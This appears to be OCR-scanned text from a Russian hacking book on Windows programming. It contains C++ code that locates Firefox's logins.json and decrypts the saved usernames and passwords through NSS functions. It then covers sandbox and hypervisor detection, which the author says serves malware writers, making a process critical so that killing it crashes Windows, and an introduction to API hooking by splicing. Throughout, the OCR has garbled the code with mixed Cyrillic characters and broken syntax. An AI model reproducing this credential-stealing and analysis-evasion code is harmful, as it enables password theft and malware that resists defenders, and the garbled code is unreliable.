// Объявляем переменные 

const char * profileName = "" ; 
WIN32_FIND_DATA w_find_data ; 

const char * dЬ_path = dЬ loc; 

// Создаем маск у для поиска функцией FindFirstFile 

lstrcat ( (LPSTR) dЬ_path, ТЕХТ ( " * " )) ; 

// Пр о сматриваем, на с интересует объект с атрибутом FILE_ATTRIBUTE_DIRECTORY 

НANDLE gotcha = FindFirs tFile(dЬ_path , &w_find_data) ; 

while (FindNextFile(gotcha, &w_find_data) != О) { 

} 

if (w_find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 

if (strlen (w_f ind_data.cFileName) > 2) { 

profileName = w_find_data.cFileName; 

/ / Убираем звездочку : ) 

dЬ_loc[strlen ( dЬ_l oc) - 1) = ' \0 '; 

lstrcat(dЬ_loc, profileName ) ; 
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// Наконец , получаем нужный нам путь 

lstrcat (dЬ _l oc , " \\logins . json" ) ; 

return 1; 

В самом конце переменная db_loc, которую мы передавали в качестве аргумента 

в наш у функцию , содержит полный путь до файла logins.json, а функция возвраща­

ет 1, сигнализируя о том , что она отработала корректно. 

Теперь получим хендл фай ла паролей и выделим память под данные. Для получе­

ния хендла исполь зуем функцию CreateFile, как советует MSDN : 

DWORD read_bytes = 8192 ; 

DWORD lp_read_bytes ; 

char *buffer = (char *)malloc (read_bytes ) ; 

НANDLE dЬ_file_login = CreateFileA ( original_dЬ_location , 

GENERI С_ READ , 

FILE_SНARE_READIFILE_SНARE_WRITEIFILE_SНARE _ DELET E , 

NULL, OPEN_ALWAYS , 

FILE_ATTRIBUTE_NORМAL , 

NULL ) ; 

ReadFile(dЬ_file_login , buffer , read_bytes , &lp_ read_bytes , NULL) ; 

Все готово , но в случае с Firefox все не будет та к просто , как с Chrome, - мы не 

сможем просто получить н уж ные да нные обычным запросом SELECT, да и шиф­

рование не ограничивается одной-единственной ф у нкцией WinAPI . 

Network Security Services (NSS) 

Брау зе р Firefox активно испо льзует функции Network Security Services (https:/ 

/developer.mozilla.org/ru/docs/NSS) дл я реализации шифрования своей базы. 

Эти функции находятся в д инамической библиотеке , которая лежит по а д ресу 

C:\Program Files\Mozilla Firefox\nss3.dll. 

Все интересующие нас ф ун кции нам при детс я получить из э той DLL. Сделать это 

можно стандартным образом , при помощи LoadLibrary\GetProcAdress. Код одно­

образный и большой , по э тому я просто приве ду список ф у нкций , которые нам по­

надобятся: 

□ NSS_Init; 

□ PL_Base64Decode; 

□ PKI ISDR_Decrypt; 

□ РК l 1 _Authenticate; 

□ PKI l_GetlnternalKeyS lot; 

□ РК 11 FreeSlot. 
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Это функции инициализации механизма NSS и расшифровки данных. Давай напи­

шем функцию расшифровки , она небольшая. Я добавлю комментарии, чтобы все 

было понятно: 

char * data_uncrypt(std: : string pass str) 

// Объявляем переменные 

SECitem crypt ; 

SECitem decrypt ; 

PKllSlotinfo *slot info ; 

// Выделяем память дrIЯ наших данных 

char *char_dest = (char *)malloc(8192) ; 

memset(char_dest , NULL, 8192) ; 

crypt.data = (unsigned char *)malloc(8192) ; 

crypt . len = 8192 ; 

memset (crypt .data , NULL, 8192) ; 

// Непосредственно расшифровка функциями NSS 

PL_Base64Decode(pass_st r.c_str() , pass_str . size(), char_dest) ; 

memcpy (crypt .data, char_dest , 8192) ; 

slot info = PKll_GetinternalKeySlot() ; 

PKll_Authenticate(slot_info , TRUE , NULL) ; 

PKllSDR_Decrypt(&crypt , &decrypt , NULL) ; 

PKll_FreeSlot(slot_info) ; 

// Выделяем память дrIЯ расшифрованных данных 

char *value = (char * )malloc(decrypt . len); 

value[decrypt.len] = О ; 

memcpy (value, decrypt . data , decrypt .len) ; 

r eturn value; 

Теперь осталось парсить файл logins.json и применять нашу функцию расшифров­

ки. Для краткости кода я буд у использовать регулярные выражения и их возможно­

сти в С++ 11 : 

string decode_data = buffer ; 

// Определяем регулярки дrIЯ сайтов , логинов и паролей 

regex user( " \ " encryptedUsername\ ": \ " ([л\ "] +)\ "" ) ; 

regex passw( " \ "encryptedPassword\ ": \ " ( [л\ " ] +) \ '"' ) ; 

regex host ( " \ "hostname \ ": \ " ( [ л \ " ] +) \ "" ) ; 

// Объявим переменную и итератор 

smatch smch ; 

string :: const_iterator pars(decode_data . cbegin()) ; 
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// Парсинг при помощи regex_search, расuмфровка данных нашей 

// функцией data_uncrypt и выво д на экран рас uм фрованных д анных 

do { 

printf ("Site\t : %s ", smch . str (l) . c_str()) ; 

regex_search(pars , decode_data .cend() , smch, user) ; 

printf( "Logi n : %s " , data_uncrypt( smch . str(l))) ; 

regex_search (pars , decode_data . cend() , smch, passw) ; 

printf ("Pass : %s ", data_uncrypt( smch . str(l))) ; 

pa rs += smch .pos i tion() + smch.length() ; 

while (regex_search(pars , decode_data . cend() , smch, host) ) ; 

Заключение 

Мы разобрались , как хранятся пароли в разных браузерах , и узнали , что нужно 

делать , чтобы их извлечь . Можно ли защититься от подобных методов восстанов­

ления со х раненны х паролей ? Да , конечно. Если установить в браузере мастер­

пароль , то он выс ту пит в качестве криптографической соли для расшифровки базы 

данных паролей . Без ее знания восстановить данные будет невозможно. 
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6. Детект песочницы. 

Учимся определять, работает ли 

приложение в sаndЬох-изоляции 

Nik Zerof 

Методы детектирования сандбоксов так же востребованы у разработчиков защит, 

как и методы антиотладки: если программа работает в изолированной среде , это 

может означать , что ее поведение хотят исследовать реверсеры или вирусные ана­

литики, либо это означает , что наша программа изолирована защитными средства­

ми решений internet security. Так или иначе, определение факта изоляции програм­

мы - полезный навык , который помогает и разработчикам защит , и вирмейкерам. 

В этом разделе я покажу, как распознавать sаndЬох-изоляцию и запуск под rипер­

визорами разных типов. 

Sandbox (песочница) - изолированная программная среда , в которой задается и кон­

тролируется набор ресурсов для запущенной внутри нее программы . Как правило , 

ограничиваются и фильтруются вызовы WinAPI , которые отвечают за доступ к обору­

дованию , процессорным ядрам , определение размера памяти , а также доступ к сети и 

привилегированным средствам операционной системы . Сендбоксинг часто использу­

ется для запуска небезопасного кода и для анализа программ . 

Проверяем запущенные процессы 

Если виды песочниц нам приблизительно известны, то это облегчит детектирова­

ние. Можно просто поискать сандбоксы в списке выполняющихся процессов. Для 

этого используем функцию , которая перечислит все процессы и определит PID 
нужного по названию : 

DWORD getPIDproc(char * pProcNarne) 

{ 

НANDLE pHandle = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS , О) ; 

if(pHandle == NULL) return О ; 

PROCESSENTRY32 ProcessEntry ; 

DWORD pid ; 

ProcessEntry . dwSize = sizeof(ProcessEntry) ; 

bool Loop = Process32First(pHandle , &Pr ocessEntry) ; 



if(Loop == NULL ) return О ; 

while (Loop) 

{ 
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if (strstr (ProcessEntry . szExeFile , pProcName ) ) 

pid = ProcessEntry . th32ProcessI D; 

CloseHandle (pHandle ) ; 

return pid ; 

Loop = Process32Next (pHandle , &ProcessEntry ) ; 

r etur n О ; 

Детект песочницы Comodo Internet Security: 

i f (getPI Dproc( "crndvirth . exe" )) std : :cout << "Cornodo sanc!Ьox detected ! \n"; 

Процесс cmdvirth.exe обеспечивает виртуализацию в Comodo Internet Security. По 
тому же принципу можно з а д етектить песочницу Sandboxie: 

i f ( g e tPI D pr oc( " SЬieSvc . exe " )) std : : cout << " Sanc!Ьoxie detected ! \ n"; 

Я думаю, что принцип понятен. Если процесс не бу д ет найден , функция вернет О, 

и условие if не будет выполнено . Также функция вернет О , если возникнут пробле­

мы с получением первого процесса в системном снапшоте функцией Process32First 
либо с получением самого снапшо т а ф у нкцией CreateToolhelp32Snapshot. 

Проверяем подключенные модули 

в нашем адресном пространстве 

Другая интересная идея - просмотреть по д ключенные мод ул и в адресном про­

странстве нашей программы на пре д мет и з вестных мо дул ей песочниц. Сделаем э то 

напрямую из нашего процесса при помощи WinАРI-функции GetModuleHandle: 

BOOL checkLoadedDll (LPCWSTR pDllName ) 

{ 

НМODU L E hDll = GetModuleHandle (pDllName ) ; 

if(hDll ) return TRUE; 

Проверка на песочницу Comodo Internet Security: 

if (checkLoadedDll ( L " crndvrtб4 . d l l " )) std : : cout << "Cornodo sanc!Ьox detected ! \n"; 

Или проверим на Sandboxie: 

i f (checkLoadedDll ( L " sЬiedll . d ll " )) std : : cout << " Sanc!Ь o xie detected! \n "; 

Функция GetModuleHandleO проверяет наличие DLL в адресном пространстве вы­

зывающего процесса. Если ф у нкция не нахо д ит моду л ь, то возвращает ноль , усло­

вие не срабатывает . 
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Чтобы узнать список подключенных модулей в стороннем процессе, нужно полу­

чить его хендл , вызвав функцию WinAPI OpenProcess, затем перечислить все под­

ключенные к процессу модули с помощью функции EnumProcessModules (в нее 

следует передать полученный хендл) и, наконец, получить название модуля с по­

мощью функции WinAPI GetModuleFileNameEx. 

Человеческий фактор 

Что делать , если мы не знаем даже примерно , какая именно программа-песочница 

будет использована? Надо сказать , что очень сложно на 100% задетектить грамотно 

написанную песочницу , ве д ь она будет работать на уровне ядра , может прятать все 

свои процессы , подключенные модули , может даже скрывать собственный драйвер . 

Техники , которые будут перечислены далее , я рекомендую использовать по прин­

ципу экспертной системы для анализа результатов: чем больше будет срабатыва­

ний , тем более вероятно , что мы находимся в изолированной среде. 

Первый способ косвенного обнаружения sаndЬох-изоляции основан на человече­

ском поведении. Мы допускаем , что после запуска нашей программы указатель 

мыши перемещался , и если это происходит, то можно предположить , что песочни­

ца не используется . Сравним координаты указателя через некоторый промежуток 

времени: если координаты не меняются, можно ставить один балл в пользу того, 

что нас исследую т внутри песочницы: 

BOOL mouse_motion() 

int count = О ; 

POINT mouse coordinatel {} ; 

POI NT mouse coordinate2 {} ; 

GetCursorPos(&mouse_coordinatel) ; 

Sleep(1500) ; 

GetCursorPos (&mouse_coordinate2 ) ; 

if ((mouse_coordinatel.x == mouse_coordinate2.x) && 

(mouse_coordinatel.y == mouse_coordinate2 . y)) 

++count ; 

GetCursorPos(&mouse coordinatel) ; 

Sleep(1500) ; 

GetCursorPos(&mouse_coordinate2) ; 
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i f ((mouse_coordinate l. x == mouse_coor dinate2 . x) && 

(mouse_coordinatel.y == mous e_coordinate 2.y)) 

++count ; 

if (count > О) return TRUE ; 

else return FA1SE ; 

В этой функции мы берем два отрезка времени по полторы секунды каждый и , если 

в каком-то отрезке времени не было перемещения указателя мыши , делаем вывод , 

что, скорее всего , выполнение идет под бди т е л ьным взором изолированной среды. 

РЕВ I NumberOf Processors 

Изолированные среды часто у секают число процессоров , чтобы не занять все ре­

сурсы компьютера . Например , песочница может эмулировать одноядерный процес­

сор . Но на дворе 2018 год , и даже в мобильных гаджетах зачастую используются 

« камни » с четырьмя ядрами , так что смело можем проверять , сколько ядер процес­

сора видит наша программа. Если ядро всего одно , то это повод для подозрений . 

Код для архитек ту ры х 64: 

PU1ONG procNum = (PU1ONG ) (_readgsqword(0xб0) + ОхВ8) ; 

Для х86 : 

PU1ONG procNum = (PU1ONG) (_readfsdword(0xЗ0) + Ох64) ; 

// DWORD 
NшnЬe r O f Processors ; 

// DWORD 
NшnЬerO fPr ocessors ; 

Этот код получае т со д ержимое поля NumberOfProcessors из РЕВ (Process Envi­
ronment Block). Теперь легко проверить число процессоров: 

if (*procNum < 2) std :: cout << " NшnЬerOfP r ocessor s == 1 , may Ье sa n dЬoxed!\n "; 

Выясняем размер оперативной памяти 

Другой побочный признак сандбока - это малое количество оперативной памяти. 

В наши дни редко можно у видеть ПК с одним-двумя гигабайтами оперативки , 

теперь это скорее нормальный объем для смартфонов. Вот как будет выг л ядеть 

реализация проверки: 

ВОО1 check_memory() 

{ 

МEMORYSTATUSEX mem stat = { О }; 

stat ex . dw1ength = sizeof(mem_stat) ; 

GlobalMemoryStatusEx (&mem_stat); 

if (mem_stat . ullTotalPhys < (102 411 * (102411 * (102411 * 111)))) 
return TRUE ; 

else return FALSE ; 
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Проверяе м свободное место 

Мало места на жестком диске ? Возможно , и правда все забито под завязку , 1-{О есть 

вероятность того , что это очередной признак песочницы . В этом примере мы пред­

полагаем , что программа работает в изоляции , если доступно меньше 30 Гбайт. 

BOOL check_freespace() 

{ 

LPCWSTR lpDirectoryName = NULL; 

ULARGE_ INTEGER lpTotalNumЬerOfBytes ; 

BOOL bStat GetDiskFreeSpaceEx(lpDirectoryName , NULL, 
&lpTotalNumЬerOfBytes , NULL) ; 

if (bStat) 

if (lpTotalNumЬerOfBytes . QuadPart < (З0ULL * (1024ULL * (1024ULL * 
(1024ULL))))) 

return TRUE ; 

else return FALSE ; 

Простые тайминг-атаки 

Песочницы зачастую весьма требовательны к ресурсам и нередко сильно замедля ­

ют работу программы. Мы можем использовать тайминг-атаки для того, чтобы по ­

нять, используется эмуляция оборудования или нет. Один из варианто в - в ы п ол ­

нять какой - нибудь системный вызов, кото р ый на чистой системе будет р аботать 

моментально , а в э мулируемой среде замедлен из-за драйвера песочниц ы . Если 

разница велика , то можно предположить , что используется песочница. На такой 

трюк ловится, например , песочница Sandboxie: 

BOOL checkTimingl( ) 

{ 

unsigned int64 counterl , counter2 , counterЗ ; 

int i = О ; 

do 

counterl = rdtsc() ; 

GetProcessHeap() ; 

counter2 = _ rdtsc() ; 

CloseHandle(0) ; 
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counterЗ = _rdtsc() ; 

// Замеряем отношение времени выполнения CloseHandle и GetProcessHeap() 

if ( ( LODWORD(counterЗ ) - LODWORD (counter2) ) / 

( LODWORD (counter2) - LODWORD(counterl ) ) >= 10) 

return TRUE ; 

} while (i = О ; i < 10; i++ ) ; 

return FALSE ; 

Отношение времени выпо л нения функции CloseHandle и GetProcessHeapQ долж ­

но быть около 1 к 1 О. Если отношение меньше , д елаем выво д о наличии фильтра­

ции вызовов в драйвере песочницы. 

Также песочницы могут оптимизировать течение времени - например , игнориро­

вать вызовы функции SleepQ. Если сделать замеры времени выполнения до вызова 

SleepQ и после , то мы э то увидим: 

BOOL check _ s leep () 

{ 

// Инициализируем пустые метки 

DWORD counterStart = О ; 

DWORD counterEnd = О ; 

DWORD difference = О ; 

counterStart = GetTickCount() ; // Засекаем время до вызова Sleep() ; 

Sleep(l00000) ; // Засыпаем на 100 секунд 

counterEnd GetTickCount() ; // Проверяем время после вызова 

difference = counterEnd - counterStart; // Сравниваем вре ме нные интервалы 

if difference > 99000) // Корректируем на одну секу нду , д о пуская погрешность 

return FALSE ; 

else return TRUE ; 

Быстрый детект гипервизоров 

Мы рассмотрели детектирование известных и неизвестных программ-песочниц , но 

нельзя ли определить гипервизор? Здесь нам поможет инстр у кция _cpuid . Она 

запрашивает у процессора его тип и функции , которые он по дде рживает. На выходе 

мы получаем заполненную стр у ктуру cpulnfo, которая состоит из четырех чисел , 

передаваемых в регистрах процессора ЕАХ, ЕВХ , ЕСХ и EDX. На вход нужно 

подать чистую структуру cpulnfo и число function_id , которое говорит команде , 

какая именно информация нас интересует. Функция поддерживает как х64-, так и 

х86-архитектуры. Ее прототип выглядит следующим образом: 



void _cpuid( 

int cpuinfo[4] , 

int function id 

) ; 
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Если передать число 1 в поле function_id и посмотреть , выставлен ли 31-й бит 

в регистре ЕСХ структуры cpulnfo, то можно узнать о присутствии гипервизора. 

Итак , код: 

BOOL check _ cpuid () 

{ 

INT cpuinfo[4] { - 1 ) ; // Объявляем структуру cpuinfo и инициализируем ее 

_ cpuid(cpuinfo, 1) ; // Запрашиваем данные 

if (( cpuinfo[2] >> 31) & 1 ) 

return TRUE ; // Проверяем нужный бит в структуре cpuinfo 

Помимо этого, известные гипервизоры детектируются так же , как и песочницы: 

можно просто посмотреть их процессы или характерные записи в реестре . Давай 

попробуем задетектить гипервизор Virtual РС при помощи функции , которую мы 

написали выше , - DWORD getPШproc(char * pProcName). Просто передадим 

в нее имя нужных процессов , характерных для Virtual РС: 

if (getPIDproc ( " VМSrvc.exe " ) 1 1 getPIDproc ( " VМUSrvc. ехе " )) std : :cout << "Virtual 
РС detected ! \n"; 

Так же легко найдем гипервизор Citrix Xen: 

if (getPIDproc( "xenservice . exe" )) std :: cout << "Citrix Xen detected!\n"; 

Теперь посмотрим , как задетектить гипервизоры по характерным записям в реест­

ре. Для этого напишем небольшую функцию , которая поможет нам определить , что 

программа исполняется внутри Wine: 

BOOL check_wine_registry_key() 

{ 

НКЕУ phkResult = FALSE ; 

if (RegOpenКeyEx(НКEY _CURRENT_ USER , _T ( " SOFГWARE \\ Wine " ) , NULL, КEY_READ , 

} ; 

RegCloseKey (phkResult ) ; 

return TRUE ; 

Заключение 

&phkResult) ERROR_SUCCESS ) 

Вот мы и разобрали, как определять известные изолированные среды разными спо­

собами. Это не все из возможных методов , но от такого набора заготовок можно 

будет отталкиваться, конструируя свои методы определения (а возможно , и обхода) 

сандбоксинга . 
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7. Учимся создавать 

и принудительно завершать 

критичные процессы в Windows 

Nik Zerof 

Часть процессов операционной системы считаются «критичными» - если завер­

шить один из них, Windows выпадет в синий экран смерти и перезагрузится . Этим 

активно пользуются вирусописате ли: если сделать свой процесс критичным, то его 

нельзя будет завершить просто так. В этом разделе я покажу, как создавать такие 

процессы и как прибивать их без падения системы. 

Дело в том, что хорошо организовать защиту процесса от завершения, когда поль­

зователь работает под учетной записью администратора, практически невозможно. 

Есть разные полумеры, но на полноценную защиту они не тянут. Например , можно 

использовать драйверы режима ядра, но в 64-битных операционных системах не 

так просто преодолеть механизм Kernel Patch Protection. Остается прибегать к трю­

кам вроде того , который мы разберем. 

Давай посмотрим , как создать критичный процесс в Windows, как проверить , что 

процесс является критичным, и как его завершить без падения системы в BSOD. 

Строго говоря, создавать мы будем не процесс, а критичный поток. Ведь процесс 

в Windows - это что-то вроде контейнера для потоков , в которых и выполняется 

код. 

Весь код, который я привожу в этом разделе , я настоятельно рекомендую исполнять 

только в виртуальной машине , потому что завершение критического процесса вызовет 

общесистемный сбой и падение системы в BSOD с кодом CRIТICAL_PROCESS_DIED 

и возможной потерей данных . Все тесты я проводил в Vir1ua1Box на Windows 1 О L TSB 

х64 в качестве хоста . 

Есть несколько методов, которые помогут нам создать критичный процесс . Все они 

основаны на манипуляции вызовами NT API (Native Windows API), самыми «низко­

уровневыми», которые можно выполнить в режиме пользователя. Эти функции 

экспортируются ntoskrnl.exe. Через обертку ntdll.dll мы сможем получить их адре­

са и вызвать их. 
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RtlSetProcesslsCritical 

Первая функция Native АР!, которая поможет нам пометить процесс как критич­

ный , - это RtlSetProcesslsCritical. Ее прототип выглядит так: 

NTSYSAPI 

NTSTATUS 

STDAPIVCALLTYPE 

RtlSetProcessisCritical( 

) ; 

IN BOOLEAN NewValue , 

OUT PBOOLEAN OldValue OPТIONAL , 

IN BOOLEAN CheckFlag 

Чтобы эта функция сработала , перед ее вызовом нужно будет получить приви лег ию 

SeDebugPrivilege. Это можно с дел ать через « обычные » ф у нкции WinAPI . 

BOOL setPrivileges(LPCTSTR szPrivName) 

{ 

TOКEN_PRIVILEGES tp = { О }; 

НANDLE hToken = О ; 

tp . PrivilegeCount = 1 ; 

tp.Privileges[0] .Attributes = SE_PRIVILEGE_ENAВLED ; 

if (!OpenProcessToken(GetCurrentProcess() , TOKEN_ADJUST_PRIVILEGES , 
&hToken)) 

std : : cout << "OpenProcessToken failed \n"; 

if ( 1LookupPrivilegeValue(NULL, szPrivName , &tp . Privileges[0] . Luid)) 

std : : cout << "LookupPrivilegeValue failed \n"; 

if ( !AdjustTokenPrivileges (hToken , FALSE , &tp , sizeof(tp) , NULL , NULL )) 

std :: cout << "AdjustTokenPrivileges failed\n "; 

CloseHandle(hToken} ; 

return TRUE ; 

return FALSE ; 

Вы зов функции для получения SE_DEBUG_NAME будет таким: 

setPrivileges(SE_DEBUG _ NAМE) ; 

Другой способ получить ее - это нативная функция RtlAdj ustPrivilege: нужно 

передать ей в качестве первого параметра значение 20 (SE_DE B UG_NAМE ) . Р азу ­

меется , пере д вызовом этой функции ее адрес следует получить и з ntdll.dll ди нами­

чески . 
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Вызов будет выглядеть таким образом: 

PBOOLEAN pbEn ; 

RtlAdjustPrivilege( 20 , TRUE , FALSE , pbEn) ; 

Итак , привилегия получена , приступаем к реализации основной функциональности : 

typedef NTSTATUS(NTAPI *pRtlSetProcessisCritical) (BOOLEAN bNewValue , 
BOOLEAN *pbOldValue , BOOLEAN CheckFlag) ; 

bool set_proc_critical() 

{ 

pRtlSetProcessisCritical RtlSetProcessisCritical = 
(pRtlSetProcessisCri tical) GetProcAddress (LoadLibrary ( ( "ntdll . dll " ) ) , 

"RtlSetProcessisCritical " ) ; 

if (NT_SUCCESS(RtlSetProcessisCritical (TRUE , О , FALSE ))) return TRUE ; 

else return FALSE ; 

Здесь все понятно : функцию RtlSetProcesslsCritical получаем динамической лин­

ковкой средствами GetProcAddress/LoadLibrary напрямую из ntdll.dll. Самая 

интересная строчка кода для нас - следующая: 

if (NT_SUCCESS(RtlSetProcessisCritical(TRUE , О , FALSE))) return TRUE ; 

Здесь мы передаем значение TRUE, указывая функции RtlSetProcesslsCritical сде­
лать процесс критичным. Одновременно мы проверяем возвращаемое ей значение , 

и в случае удачи наша функция возвращает TRUE. Если вызвать RtlSetPro­
cesslsCritical с параметром FALSE, процесс перестанет быть критичным. 

Давай копнем немного глубже и разберемся , как именно работает функция 

RtlSetProcesslsCritical . Она вызывает функцию NtSetlnformationProcess из Native 
API, которая обращается к РЕВ процесса и меняет в нем поле ThreadBreak­
OnTermination - оно и отвечает за то, чтобы операционка считала наш процесс 

критичным. 

Блок окружения процесса (Process Environment Block, РЕВ) заполняется загрузчиком 

операционной системы , находится в адресном пространстве процесса и может быть 

модифицирован из режима usermode. Он содержит много полей - например, отсюда 

можно узнать информацию о текущем модуле , об окружении , о загруженных модулях . 

Получить структуру РЕВ можно , обратившись к ней напрямую по адресу fs : [ЗOh] для 

х86-систем и gs:[60h] для х64. 

Таким образом , мы переходим ко в торому методу , который продемонстрирует нам 

создание критичных процессов . 

NtSetl nformation Process 

NtSetlnformationProcess - это нативная функция , которая поможет нам изменить 

значение поля ThreadBreakOnTermination в РЕВ на нужное нам. Адрес этой 

функции необходимо получить динамически из ntdll.dll, как мы уже делали 
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с RtlSetProcesslsCritical. Этот метод универсален, поскольку, используя эту функ­

цию, мы обеспечиваем совместимость с более старыми версиями Windows: 
RtlSetProcesslsCritical появилась только в Windows 8. 

Реализация будет выглядеть следующим образом: 

typedef NTSTATUS(WINAPI *pNtQueryinfoпnationProcess ) (НAND LE, PROCESSINFOCLASS , 
PVOID, ULONG , PULONG ) ; 

pNtSetinformationProcess NtSetinformationProcess = 
(pNtSetinformationProcess) GetProcAddress ( LoadLibrary ( ( "ntdll. dll " ) ) , 
"NtSetinformationProcess " ) ; 

bool set_proc_critical(НANDLE hProc) 

ULONG count = 1 ; 

if (NT_SUCCESS (NtSetinformationProcess (hProc , 

0xlD, // ThreadВreakOnTermination в структуре PROCESSINFOCLASS 

&count , 

sizeof (ULONG)))) 

return TRUE ; 

else return FALSE; 

В функцию NtSetlnformationProcess передаем хендл процесса, который будем 

делать критичным, и число OxlD, которое означает ThreadBreakOnTermination 

в структуре PROCESSINFOCLASS. 

Проверка критичности процесса 

Теперь, понимая, как операционная система определяет статус наших процессов , 

и зная, какие именно функции WinAPI и NT API она при этом использует , мы легко 

сможем определить , является ли любой процесс критичным или нет. Как обычно , 

воспользуемся сразу несколькими методами: 

В001 check_critical(НANDLE hProc ) 

ULONG count = О ; 

if (NT_SUCCESS(NtQueryinformationProcess (hProc , 

0xlD , // ThreadВreakOnTermination в структуре PROCESSINFOCLASS 

&count , 

sizeof (ULONG) , 

NULL)) && count) 

return TRUE; 

else return FALSE ; 



□-- 95 -- □ 

Здесь в функцию NtQuerylnformationProcess передается хендл интересующего нас 

процесса, и поле в структуре PROCESSINFOCLASS, которое нужно проверить. 

После выполнения функции NtQuerylnformationProcess проверяем переменную 

count, которая станет равна единице , ес л и процесс критичный. 

Кроме функции NtQuerylnformationProcess, есть с пециальная функция, пре д на ­

значенная именно для наших нужд , - IsProcessCritical. Е е прототип выглядит та­

ким образом: 

BOOL IsProcessCritical(НANDLE hProcess , PBOOL Critical); 

Пример использования этой функции : 

PBOOL test = FALSE; 

if (IsProcessCritical(GetCurrentProcess() , test)) 

if(test) std :: cout << "Critical process\n"; 

else std: : cout << "NOT critical process\n"; 

Функция IsProcessCritical изменит переменную test на TRUE, если процесс кри­

тичный , или оставит F ALSE в том с лу чае , если это не так. 

Выводы 

В этой статье я постарался рассказать , что такое критичные процессы, как ОС реа­

гирует на их завершение . Также мы узнали , как снять флаг критичности с процесса , 

чтобы его безболезненно завершить , и как программно проверить , является ли про­

цесс критичным. Я надеюсь , что ты не будешь применять полученную информа­

цию в деструктивных целях. Ну, разве что для шуток над друзьями! 
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8. Как перехватывать управление 

любой программой через WinAPI 

Nik Zerof 

Технология перехвата вызовов функций WinAPI известна уже давно, она часто и с­

пользуется как в троянах и вирусах , так и в снифферах , трейнерах для игр, а также 

в люб ы х с и туациях, когда нужно заставить чужое приложение выполнять к од, к о ­

торого там никогда не было. Я расскажу , как поль зов аться этой могучей тех н и к о й , 

а затем мы напишем библиотеку перехвата методом сплайсинrа. 

Какие бывают хуки 

Ловушки (hook) могут быть режима пользователя (useпnode) и режима я д р а 

(kernelmode). Установка хуков режима пользователя сводится к методу сплайси н га 

и методу правки таблиц IA Т. Ограничения этих методов очевидны: пе р ехватить 

можно только userspace API , а вот до функций с префиксом Zw* , Кi * и пр о чи х 

« я дер н ых» и з режима пользователя дотянуться нель з я . 

Установка хуков режима ядра позволяет менять любую информацию, кото р ой о п е ­

р ирует Windows на самом низком уровне. Для перехватов по доб ного типа необхо ­

димо модифицировать таблицы SSDT/IDT либо менять само тело функции (kernel 

patch). Надо сказать, что в Windows на архитектуре х64 ядро контролирует свою 

целост н ость при помощи механизма КРР (Kernel Patch Protection), который я вляет ­

с я частью PatchGuard и просто так подобные манипуляции с системными табли ц а­

ми сделать не позволит. 

Почему хуки работают? 

Когда Windows запускает приложение , со зд ается его процесс и потоки, загрузчик 

ОС ищет зависимости динамических библиотек, которые нужны для работы пр о ­

грамм ы. Поиск ведется сначала в папке , где находится исполняемый файл , далее 

в н ес к ол ьк их системных папках. После того как нужные библиотеки н айде ны , 

о пр едел я ютс я необходимые для работы функции , составляется табли ц а завис и мо ­

стей фун кци й и библиотек , где они находятся . Программа помнит все эти да нны е и 

пользуетс я ими п р и вызове функций . Наша задача - загрузить в ад ре с н ое про­

ст р анст в о п р и ложе н и я нашу библиотеку и и справить таблицу зависимостей в пр о -
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грамме таким образом , чтобы она думала, будто функции , которые ей нужны, на­

ходятся именно в нашей библиотеке, а не в той, где они были раньше . 

Сплайсинг функций WinAPI 

Пролог функций, трамплин 

и дизассемблер длин инструкций 

Функции WinAPI начинаются с пролога- это стандартный код, отвечающий за 

балансировку стека для корректного доступа к локальным переменным, которые 

использует функция. Обычно пролог выглядит таким образом: 

mov edi , edi 

push еЬр 

mov ebp, esp 

В большинстве функций он одинаков , и поэтому на его место можно добавить ин­

струкцию безусловного перехода jmp, которая передаст управление на наш код . 

Это называется «т рамплин » - мы просто уводим поток выполнения функции 

в наш код , где делаем все , что хотим: можем подменить результат выполнения 

функции , можем вызвать какой-то другой код, запустить процесс - одним словом, 

массу всего . Но чтобы грамотно реализовать перехватчик функций методом сплай­

синга , нам нужен дизассемблер длин инструкций. 

Дизассемблер длин позволяет вычислять длины команд процессора . Часто использу­

ется для анализа прологов функций. 

Зачем нам использовать дизассемблер длин, если мы и так знаем пролог функций? 

Дело в том , что прологи функций отличаются. Не хотелось бы постоянно загляды­

вать в дизассемблер и проверять, подходит ли пролог очередной перехватываемой 

функции под наш сплайсер. В нем ведь четко прописано, какое количество байтов 

мы будем использовать. 

В том случае , если мы « настроим» нашу функцию сплайсинга на стандартный про­

лог, а он окажется другим, то после реализации перехвата выполнение может пойти 

не с начала машинной команды , а с какой-то ее части. Одним словом, мы повредим 

код программы , она вызовет исключение и будет аварийно завершена операцион­

ной системой. Если же использовать дизассемблер длин инструкций, то сплайсер 

всегда точно будет знать , где начинается следующая инструкция, и корректно 

встраивать трамплин. 

Библиотеки для перехвата 

Как ты уже понял , для написания качественного универсального сплайсера функ­

ций нужно затратить много сил и времени, и даже крупные фирмы предпочитают 

для своих проектов покупать готовые библиотеки, реализующие перехваты функ­

ций . 



□-- 98 -- □ 

Мы рассмотрим два популярных коммерческих решения: Detours производства не­

посредственно Microsoft и библиотеку madCodeHook. Почем у именно эти две биб­

лиотеки? На них можно реализовать перехват с минимумом кода , что как нельзя 

лучше подходит для обучения . Полные версии обеих библиотек платные , но для 

обучения можно либо использовать ограниченные бесплатные версии , либо поку­

пать полные , либо ... ну , ты знаешь. 

С готовой библиотекой мы будем уверены , что : 

□ в ней встроен качественный дизассемблер длин , который не испугается разно­

образных функций WinAPI; 

□ встроен специальный корректор кода, способный работать вместе с функцией , 

реали зующей трамплины ; 

□ при сборке проекта будут использованы блоки у словной компиляции кода и нам 

не придется менять синтаксис перехватов при смене архитектур х86 и х64. 

Одним словом, мы будем уверены , что в нашей DLL окажутся все необходимые 

функции. 

Тестовое приложение 

Для начала экспериментов с перехватами напишем тестовое приложение, назовем 

его testl.exe. Оно ничего не делает . Точнее , просто Ждет 60 секунд , используя 

функцию WinAPI SleepQ, а потом закрывается. Я выбрал эту функцию специально , 

чтобы было понятно, что изначально наше приложение неспособно, например, соз­

давать файлы. Код программы будет таким: 

#include <Windows . h> 

#include <iostream> 

void slp() ; 

int main () 

int х ; 

std :cout << "Enter 1 : \n"; 

std : : c i n >> х ; 

if (х = 1) slp() ; 

return О ; 

void slp () 

Sleep ( 60000) ; 

) 
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Здесь все понятно: при запуске приложение ожидает ввода цифры 1, по том запус­

кает функцию SleepQ. Нам э то необходимо , чтобы программа не закрылась слиш­

ком быстро и повисе ла н емного в памяти , ожидая ввода . Ну и заод но наших инъек­

ций библиотеки перехвата в ее адресное пространство . 

